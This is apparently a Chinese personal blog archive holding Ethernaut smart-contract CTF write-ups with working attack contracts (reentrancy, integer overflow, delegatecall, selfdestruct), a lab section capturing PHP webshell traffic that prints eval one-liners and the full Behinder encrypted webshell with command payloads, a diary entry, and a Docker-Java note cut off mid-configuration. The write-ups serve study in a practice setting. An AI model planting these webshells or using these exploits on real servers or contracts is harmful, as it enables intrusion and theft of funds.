0%

区块链学习之贰

逐渐硬核起来了;

ethernaut - Vault

description

1
// Unlock the vault to pass the level!

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

区块链上数据都是透明的,private变量可读。

区块链上变量的存储

从第一个变量开始,从右往左存储,试图填满一个插槽(32字节),遇到该插槽剩余空间不够的,转向下一个插槽;

读取时使用:

1
web3.eth.getStorageAt(address,slotID);

变长数组的存储方式

变长数组,由于存储时无法确定要占用多少storage,所以采取一种特殊的存储方式:

  1. 占用一个 slot 来存储变长数组的长度,该 slot 的编号记作 n ;

  2. 存储的 slot 编号为:SHA3(n)+i,i 根据存储需要可以增加;

  3. slot 实际值为 SHA3(slot编号)

以上;

题解

得到密码即可,bytes32独占一个 slot 。

payload

1
2
await web3.eth.getStorageAt(instance,0x1);
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29');

甚至可以用getStorageAt()读一下locked,即使它是public的;

1
await web3.eth.getStorageAt(instance,0x0);

lockedfalse了;

长进

读变量可以形成一个习惯,全用getStorageAt()去读;

ethernaut - King

description

1
2
3
4
5
// The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

// Such a fun game. Your goal is to break it.

// When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

交钱获取王位,并避免你的对手在你submit的时候夺回王位;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

砸币是砸不过机器人的,关注receive()函数:

1
2
3
4
5
6
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

对手试图夺回王位,transfer()给目标合约这个过程是可控的,我们可以这个过程中把交易revert()掉;

题解

查看当前prize

1
2
3
4
await web3.eth.getStorageAt(instance,0x1);
// '275676239076594894563100840737553034228913209542'
web3.utils.hexToNumberString('0x00000000000000000000000000000000000000000000000000038d7ea4c68000')
// '1000000000000000'

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingAttack {
address public target;

constructor(address targ) public payable {
target = targ;
}

function exp() payable public {
// 如此 transfer ,自定义 gas , transfer 默认的 gas 不足以执行 instant 的 receive()
payable(target).call{value:address(this).balance,gas:1000000}("");
}

receive() external payable {
revert();
}
}

创建时给 2000000000000000 wei ;

尝试 submit ,成功;

长进

向一般题目合约转账时,可以自定义gas1000000或者默认发送所有gas

ethernaut - Re-entrancy

大名鼎鼎的重入漏洞;

description

1
2
3
4
5
6
7
8
9
// The goal of this level is for you to steal all the funds from the contract.

// Things that might help:

// Untrusted contracts can execute code where you least expect it.
// Fallback methods
// Throw/revert bubbling
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

观察withdraw

1
2
3
4
5
6
7
8
9
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

发现balances的更新发生在转账之后,故而如果我在接受合约的receive()中再调一次withdraw(),此时balances还没有更新,也就是可以成功再次触发转账,嵌套直到余额不足使call()失败为止;

更重要的一点,call()不会回退,而且默认发送所有gas

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Reentrance {
function donate(address _to) external payable ;

function withdraw(uint256 _amount) external payable ;

receive() external payable ;

}

contract ReentranceAttack {
address payable public victim;
Reentrance public c;

constructor (address payable _victim) public payable {
victim = _victim;
c = Reentrance(victim);
}

function exp() public {
c.donate{value:1000000000000000}(address(this));
c.withdraw(1000000000000000);
}

function destroy() external payable {
selfdestruct(0xde6e75832f874f0803c1685807eF1d1CD8ed8796);
}

receive() external payable {
c.withdraw(1000000000000000);
}

}

可以destroy()把自己的测试币拿回来;

ethernaut - Elevator

想起了 Rap God 里面为数不多能记住的几句歌词;

1
2
3
// Cause I know the way to get 'em motivated
// I make elevating music, you make elevator music
// 这网易云翻译的什么积罢呢我请问了

description

1
2
3
4
5
// This elevator won't let you reach the top of your building. Right?

// Things that might help:
// Sometimes solidity is not good at keeping promises.
// This Elevator expects to be used from a Building.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

第一次isLastFloor()的结果为false,第二次为true即可;

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract ElevatorAttack is Building{
bool public top;

constructor(bool _top) {
top = _top;
}

function isLastFloor(uint256) external returns (bool){
top = !top;
return top;
}
}

开始传入toptrue,第一次调用isLastFloor()返回false,第二次返回true,达到目的效果;

ethernaut - Privacy

description

1
2
3
4
5
6
7
8
9
10
11
12
// The creator of this contract was careful enough to protect the sensitive areas of its storage.

// Unlock this contract to beat the level.

// Things that might help:

// Understanding how storage works
// Understanding how parameter parsing works
// Understanding how casting works
// Tips:

// Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

题目描述很可怕;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

data可读,计算一下位置:

  • bool locked占第0个 slot;

  • uint256 ID占第1个 slot ;

  • uint8 private flatteninguint8 private denominationuint16 private awkwardness占第2个 slot ;

  • bytes32[3] private data占第3,4,5个 slot ;

data[2]在第5个 slot ;

bytesn , uintn , intn 的显式转换

这三类数据类型的共同点,都具有多种不同的长度;

由短向长转换时,可以进行隐式转换,对于uintnintn,高位会被填充使值不变;而对于bytesn,数组会向后延长,用一系列0x00填充多出来的byte

由长向短转换时则不同,由于数据可能发生损失,系统不提供隐式转换,显式转换则会发生截断

对于uintnintn,会舍去高位保留低位( 注意这里intn补码存储 );而对于bytesn,数组会舍弃后面的byte单元;

题解

回到题目,首先读取data[2]

1
2
await web3.eth.getStorageAt(instance,0x5);
// '0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'

为了转为bytes16,要取前一半,前 34 位(因为开头的'0x'),传给 unlock()

1
await contract.unlock('0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'.slice(0,34));

过了,好用,但我还是觉得动态类型语言傻逼,以上;

ethernaut - Gatekeeper One

description

1
2
3
4
5
// Make it past the gatekeeper and register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from the Telephone and Token levels.
// You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne()之前做过了,重点看gateTwo()gateThree()

gateTwo()涉及gasleft(),在 Remix 中写一个测试函数:

1
2
3
function testRequire() public {
require(msg.sender != tx.origin);
}

增了又删得知这个require()消耗33gas,调用时指定 gas 为一个8191的倍数加33即可;

gateThree()是截断问题,首先明确,不同位数uint做比较 , solidity 会将位数低的隐式转换为位数高的;

gateThree()的三个愿望:

  1. part1 : uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)
  2. part2 : uint32(uint64(_gateKey)) != uint64(_gateKey)
  3. part3 : uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)

哦我操地址是 20 字节我一直记错成 16 字节;

无伤大雅,看part3,要求gatekey的后 16 位是 tx.origin(钱包地址)的后 16 位( 2 字节), 因为uint16补全要与uint32相等,故 16-31 位是 0 ( 2 字节0x00);

再看part2,截断再补全与原来不等,实际上要求前 32 位( 4 字节)不全为0x00

最后part1实际上已经被part3包含了,不再赘述;

题解

这里很多运算可以拿到合约里去做,但不这样做可以省一点gas fee,优雅是有代价的孩子;

展示省gas做法:

1
2
player.slice(-4);
// '8796'

_gatekey可以为0x1000000000008796

attack contract

8888 替换成钱包的后四位;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
address public victim;
event log(bytes);
event log(bool);
event log(uint);

constructor (address _victim) {
victim = _victim;
}

function exp() public{
bool result;
bytes memory data;
for(uint i=0;i < 300;i++){
(result,data)= victim.call{gas:8191*3+i}(abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888))));
if(result){
break;
}
}
emit log(result);
}

}

长进

call 传参类型问题

坑了五个小时,从四点到九点;

这个调用:

1
abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888)));

一开始是:

1
abi.encodeWithSignature("enter(bytes8)",0x1000000000008888);

这个“隐式转换”不会报错(因为 solidity 不会也无法帮助你给call()的参数下判断),但是实际上这个函数调用是注定失败的,因为uint64无法隐式转换为bytes8,以上;

然后在这道题中,你大部分情况下会认为是part2导致的revert(),反复尝试爆破,很难想到这个问题,实际上还是对自己的代码不自信,这也是我反复了五个小时的原因;

重复声明与作用域

网上某个题解的 payload , 能打通,但是有个天大的坑;

先贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA00004261;
bool result;
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(
target
).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(uint32(uint64(key)) == uint16(uint64(key)));
emit log(uint32(uint64(key)) != uint64(key));
emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
emit log(result);
}

问题很明显,for循环里面把result又声明了一遍,导致循环代码块里面的result和外面的不是一个,外面的会被赋缺省值false,且无论攻击有没有成功log都是false

他这里bytes8处理的没问题,攻击是可以成功的,但我当时 copy 了这个代码下来跑几次,log输出都是false,误以为攻击失败了,怀疑人生,又开始改循环数目,多折腾了很久;

人机

好早啊;

夏天的风我永远记得,清清楚楚的说你爱我。

webshell 抓包

小学期“网络安全课程设计”做了一个机器学习流量分析的选题,组内大佬结合我主业,发配我负责采集 PHPwebshell 流量;

两个问题:

  1. 我想用 docker 部署靶机环境,如何用 wireshark 抓 docker 流量,没干过;
  2. https 没配过;

思路是用 docker 起一个 php 环境,配好 https ,然后分别去连几种 webshell ,抓下流量;

环境配置

起镜像

镜像版本docker pull php:8.4-rc-apache-bullseye

1
2
3
docker run -d -p 9000:80 -p 9001:443 `
-v D:/works/traffics/240902webshelltraffics/html:/var/www/html `
--name webshell-traffic php:8.4-rc-apache-bullseye

映射一下,方便传马(多此一举了其实);

测试连接

1
touch /var/www/html/index.php

访问 9000 端口,检测到空文件,成功;

抓包

抓包测试

首先安装tcpdump,用于抓包;

1
tcpdump -i eth0 -w /tmp/capture.pcap

把包保存到/tmp里;

访问几次index.php,保存流量;

copy 到本机,然后打开查看;

然后配置https加密流量,同样的方法抓;

https 配置

1
2
3
4
5
6
7
8
9
10
# 启动 ssl
a2enmod ssl
# 创建 ssl 目录
mkdir /etc/apache2/ssl
# 生成自签名证书
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout /etc/apache2/ssl/apache.key \
-out /etc/apache2/ssl/apache.crt \
-subj "/C=US/ST=State/L=City/O=Organization/OU=Department/CN=localhost"

修改/etc/apache2/sites-available/default-ssl.conf

1
2
3
4
5
6
echo "\n<VirtualHost *:443>\n\
DocumentRoot /var/www/html\n\
SSLEngine on\n\
SSLCertificateFile /etc/apache2/ssl/apache.crt\n\
SSLCertificateKeyFile /etc/apache2/ssl/apache.key\n\
</VirtualHost>\n" >> /etc/apache2/sites-available/default-ssl.conf

启用配置:

1
a2ensite default-ssl.conf

访问https://localhost:9001/成功;

传统 webshell

basic-webshell.php

1
<?php @eval($_GET["QST"]); ?>

payload

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27whoami%27));

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27ls%27));

可以看到一些 https 的特征:

Antsword(蚁剑)

antsword-webshell.php

1
<?php @eval($_POST["QST"]); ?>

连接webshell:

在操作 webshell 过程中抓包;

这里有个问题,我的自签名 ssl 证书在用蚁剑连的时候会报:

1
{"code":"DEPTH_ZERO_SELF_SIGNED_CERT"}

忽略 https 证书即可;

随便点点,抓到一些包:

特征差不多;

Behinder(冰蝎)

behinder-webshell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="f14b485168197a68"; //该密钥为连接密码32位md5值的前16位,连接密码QST
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

同样,操作 webshell 同时抓包:

比之前的包大一两个数量级;

总结

抓了一些常用的 webshell ,希望有用。

区块链学习之壹

ethernaut - Coin Flip

投币咯,我最喜欢的;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

题解

随机的核心在于 blockhash(block.number - 1)

攻击原理是,如果在攻击合约中调用目标合约,就可以让两次调用在一个 block ,从而两次伪随机的结果相同;

注意lastHash == blockValue是不允许的,这事实上限制了不能连续在同一 block 内调用flip

解决方案是运行十次 exp ,而不是在 exp 中调用十次flip

source of exp contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/

// interface for instancing the problem contract
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}

// accacking contract
contract Storage {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance = 0xb9A0C84D1C4a44322a141b401b95a69dCE386dC4;
uint256 lastHash;
CoinFlip con;

function exp() public{
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

// calculate which side
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

// call con.flip
con = CoinFlip(instance);
con.flip(side);
}

部署合约,调十次 exp 即可;

使用 Remix - Injected Provider 编写 attacking contract

一,写代码到contracts/xxx.sol,开启自动编译;

二,选择环境 Injected Provider,选择要部署的合约;

三,部署;

四,调用exp函数;

这样就完成了一个简单 attacking contract 的部署到调用;

ethernaut - Telephone

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

difference between msg.sender&tx.origin

很直观了,msg.sender是功能的调用者,tx.origin调用功能的账户;

题解

只需要用一个非player的合约调用instance即可;

exp source

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external ;
}
contract Attack {
function exp() public {
Telephone t = Telephone(0x7433a6f73fA68a0ED229e4164F4D6503ffF0a489);
t.changeOwner(tx.origin);
}
}

ethernaut - Token

description

1
2
3
4
5
6
7
//The goal of this level is for you to hack the basic token contract below.

//You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

// Things that might help:

//What is an odometer?

要求把自己余额弄成一个很大的数;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

What is an odometer?

说实话没懂这个hint;

uint overflow

transfer 表面上限制了余额不能为负数:require(balances[msg.sender] - _value >= 0)

但是balances的键值实际上是uint256,查阅 solidity 官方文档 得知两点:

  1. “Solidity中的整数是有取值范围的。 例如 uint32 类型的取值范围是 02 ** 32-1 。 0.8.0 开始,算术运算有两个计算模式:一个是 “wrapping”(截断)模式或称 “unchecked”(不检查)模式,一个是”checked” (检查)模式。 默认情况下,算术运算在 “checked” 模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。 你也可以通过 unchecked { ... } 切换到 “unchecked”模式,更多可参考 unchecked .”
  2. 在 0.8.0 以前的版本(这里是 0.7.5)有这样的描述:“加法,减法和乘法具有通常的语义,值用两进制补码表示,意思是比如:uint256(0) - uint256(1)== 2 ** 256 - 1 。 我们在设计和编写智能合约时必须考虑到溢出问题。”

题目环境为 0.6.0 ,溢出问题存在,要搞大数字直接溢出即可;

题解

payload

1
await contract.transfer(instance,21)

ethernaut - Delegation

description

1
2
3
4
5
6
7
// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
// Fallback methods
// Method ids

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

部署的是Delegation,其回调函数的作用是进行一次delegatecall, 在Delegate中调用目标函数;

直接尝试调用pwn()即可;

而且这里涉及到delegatecall的特点,不改变交易属性,也就是msg.sender仍然是player自己;

发起一个交易,将签名data改为pwn()keccak256值的前四字节;

傻逼 js slice的时候把sha3的结果看作字符串,因此取前四字节要取前十位,因为有"0x"

题解

1
await contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

注:solidity 的keccak256就是sha3

ethernaut - Force

description

1
2
3
4
5
6
7
8
9
// Some contracts will simply not take your money ¯\_(ツ)_/¯

// The goal of this level is to make the balance of the contract greater than zero.

// Things that might help:

// Fallback methods
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

给空合约发钱的问题,没有receive()也没有callback()

查阅官方文档:

1
// 一个没有receive函数的合约,可以作为 coinbase 交易 (又名 矿工区块回报 )的接收者或者作为 selfdestruct 的目标来接收以太币。

结合提示,尝试构建一个有receive()selfdestruct()的合约,然后销毁之。

题解

exp source (GPT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
address payable target;

// 在部署时设置目标合约的地址
constructor(address payable _target) {
target = _target;
}

// 允许该合约接收以太币
receive() external payable {}

// 自毁合约并发送所有以太币到目标合约
function destroy() external payable {
selfdestruct(target);
}
}

部署之后向目标合约转账;

然后调用destroy()getBalance()后发现instant已经有余额;

通!

你好

好你;

想起来小学有个大胖子,别人招惹他之后,他的口头禅是:

”好你个……“

小秦加油努力!

既定的未来

凌晨陷入了恐怖的焦虑之中。大概来源于自己前一年半什么也没做,不知道自己兴趣在何处,不知道该干什么。

大一上学期想保清北信工所深埋绩点之中,大一下学期疫情解封想多谈恋爱及时行乐毕业去二线城市躺平,大二上学期又阴差阳错地在太子港一个假期的 push 之下进了天璇,如此搭上了视野扩展的第一架桥。然而我是一个瞻前顾后的人,我不知道自己 CTF 能打多久,能打到什么程度,望着又不自信自己的智商,在新生赛证明了自己的智商,入围后却不知道学什么,繁乱的 WEB 技能树甚至不如实验班课程给我的吸引力大。弱智 Spring boot 学得我忘乎所以,项目的弱智后端做完了又去刷抖音,刷 b 站,打英雄联盟,转眼间一学期的时光就浪费掉了。我都不知道这到底是在奖励自己还是惩罚自己。

到了这个寒假,在学长 push 之下帮忙写了点 wiki ,跟着看了两个 CTF ,几乎什么都不会,对题目的贡献无限趋近于0。我原谅了自己。颉夏青找我做一个看起来很牛逼的项目,于是我又搞上三四年前就废弃的机器学习了。学着包装 PPT ,给团队成员打鸡血,调试模型。我又觉得自己做事情了,于是又不学了。

我会在沈阳和我的兄弟们随便找一个包间一打打一天麻将,赴约一场又一场,去体验二十多年的台球厅,和女兄弟、女兄弟的男闺蜜、男闺蜜的男 gay 蜜喝酒唱 K ,我会装醉跟女士拥抱,会装傻差点被女士拽到汉庭酒店,我在这些时间和空间肆意妄为,哈哈大笑,觉得这就是我的人生了——这人生好快乐——可这不是我的人生。

从我记事儿以来我就没觉得我该这样过,我的理想一向是在某一个行当有所成就,这一般伴随着赚很多(对于我的认知来说很多)的钱。我只是累了,累得出奇。我不知道未来要做什么,不知道要学什么,不知道我会爱上什么样的人。恰恰我又读了自主性最强的 IT ,于是乎我只能为所有未来的可能性努力,什么都学,尝试接触身边所有可能爱上的人。人,至少我是不能这么用的。我超负荷了,什么也做不了了。

不想谈 MBTI ,但我很早就是 sj 人了。这样的生活对 sj 人来说太绝望了。

我一向是用心的眼睛盯着旁人才嗯那个有所前进,所幸我在滑落谷底的边缘遇到了三位目标明确行动坚定的人,三位在我的标准里可以托付至少半颗心的人。

首先是大我两届的。此人一度给我一种非常神秘威严的感觉。直到上个假期我向他倾诉了一次,那过后我心里神秘威严的印象并未消解,但我觉得这个人是值得交付心情的,也是乐于收揽心情的。无论是方向上还是情绪上,都可以称之为我的直系学长。在我接触到下一个合适的人之前很长一段时间内,我需要间歇让他做我的引路人。我打心底里是崇拜他的,故他随便的一句认可或者建议都能消解我无数的云雾。

二是我的好友。此人和我一样傻逼。近日突然开始专注学一样东西,是我沙河图书馆的官方指定唯一搭子。好朋友间不至于对标,至少我看着同伴在努力,自己也没了摆烂的理由。

三是。追她这件事让我第一次感受到从泛泛想象到清晰目标的转变给我带来的快感。更惊喜的是,她是一个未来规划很明确的人,还是一个努力的人。最重要的一点,我非常喜欢她,喜欢她身上的所有性格特质。我很幸运地被她喜欢了,她带给了我一场世界上最好的恋爱。这一场恋爱收束了我的心绪,我的心里有了未来的样子。很长一段时间内,我要围绕一件事情奋斗,我决定我要成功了。

我定好了学某个方向,进某个组,拿着这个组的丰厚经验胜利就业。

这是我最喜欢的节奏,它让我想到四五年前意气风发无所不能的我。那时候我的心里只有高考一件事,每天都在想着如何考进北师大的数学系,当时的方法也非常简单,多做题就行;至于现在如何去学,我要不断地问,没什么信息差,无外乎不停的努力。

如今实验班退不掉了,我也欣然接受。同时我不再怀疑自己的智商。东隅已逝,桑榆非晚;我如今赤条条地面对这个世界,宣告一个巨大的阳谋,而不怕世界说我如何如何吹牛逼。

未来无限可能,但是我马上二十岁了,应该选择一种去实现了。

Docker-Java 使用小记

  • 前置知识
    • Java 语言
    • Springboot 框架
    • docker 基础知识
    • dockerfile 的使用

作者在最近项目中用 docker-java 动态部署 docker 。总结了一些经验。

0x01 依赖项

0x01x01 Maven

正常使用就两个依赖项,官方文档有写。

版本号以 maven 官方仓库的最新版本为准。

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://mvnrepository.com/artifact/com.github.docker-java/docker-java -->
<dependency>
<groupId>com.github.docker-java</groupId>
<artifactId>docker-java</artifactId>
<version>3.3.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.github.docker-java/docker-java-transport-httpclient5 -->
<dependency>
<groupId>com.github.docker-java</groupId>
<artifactId>docker-java-transport-httpclient5</artifactId>
<version>3.3.3</version>
</dependency>

0x01x02 java.lang.NoClassDefFoundError

Maven 配置不当 / 抽风的情况下, 偶尔 docker-java 本身的依赖不会自动加载进来。导致调用后续使用中马上会报错。

1
2
java.lang.NoClassDefFoundError
java.lang.ClassNotfoundException

这两者有一定区别,不过这里是同时报出来的。看堆栈的话 NoClassDefFoundError 在先。

自行查看报错堆栈,导入没有的包即可。

作者当时是少了这个:

1
2
3
4
5
<dependency>
<groupId>org.apache.httpcomponents.core5</groupId>
<artifactId>httpcore5-h2</artifactId>
<version>5.2.2</version>
</dependency>

比较坑,因为 httpcore5 是存在的,这里报找不到类导致作者一直在乱找问题,翻了好久才发现其下没有 http2 的类,要导入 httpcore-h2 才好。

0x02 初始化

首先要连接到本地的 docker 服务上。

0x02x01 docker-java.properties

Docker-java 官方文档中介绍了多种方式修改 docker 的默认属性。

使用配置文件方式的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -docker version 查看 API version
api.version=1.43

# 2375 端口,不可暴露。
DOCKER_HOST=tcp://localhost:2375

# 2376 端口,支持开启 TLS
#DOCKER_HOST=tcp://localhost:2376

# 关闭tls
DOCKER_TLS_VERIFY=0

# TLS 证书
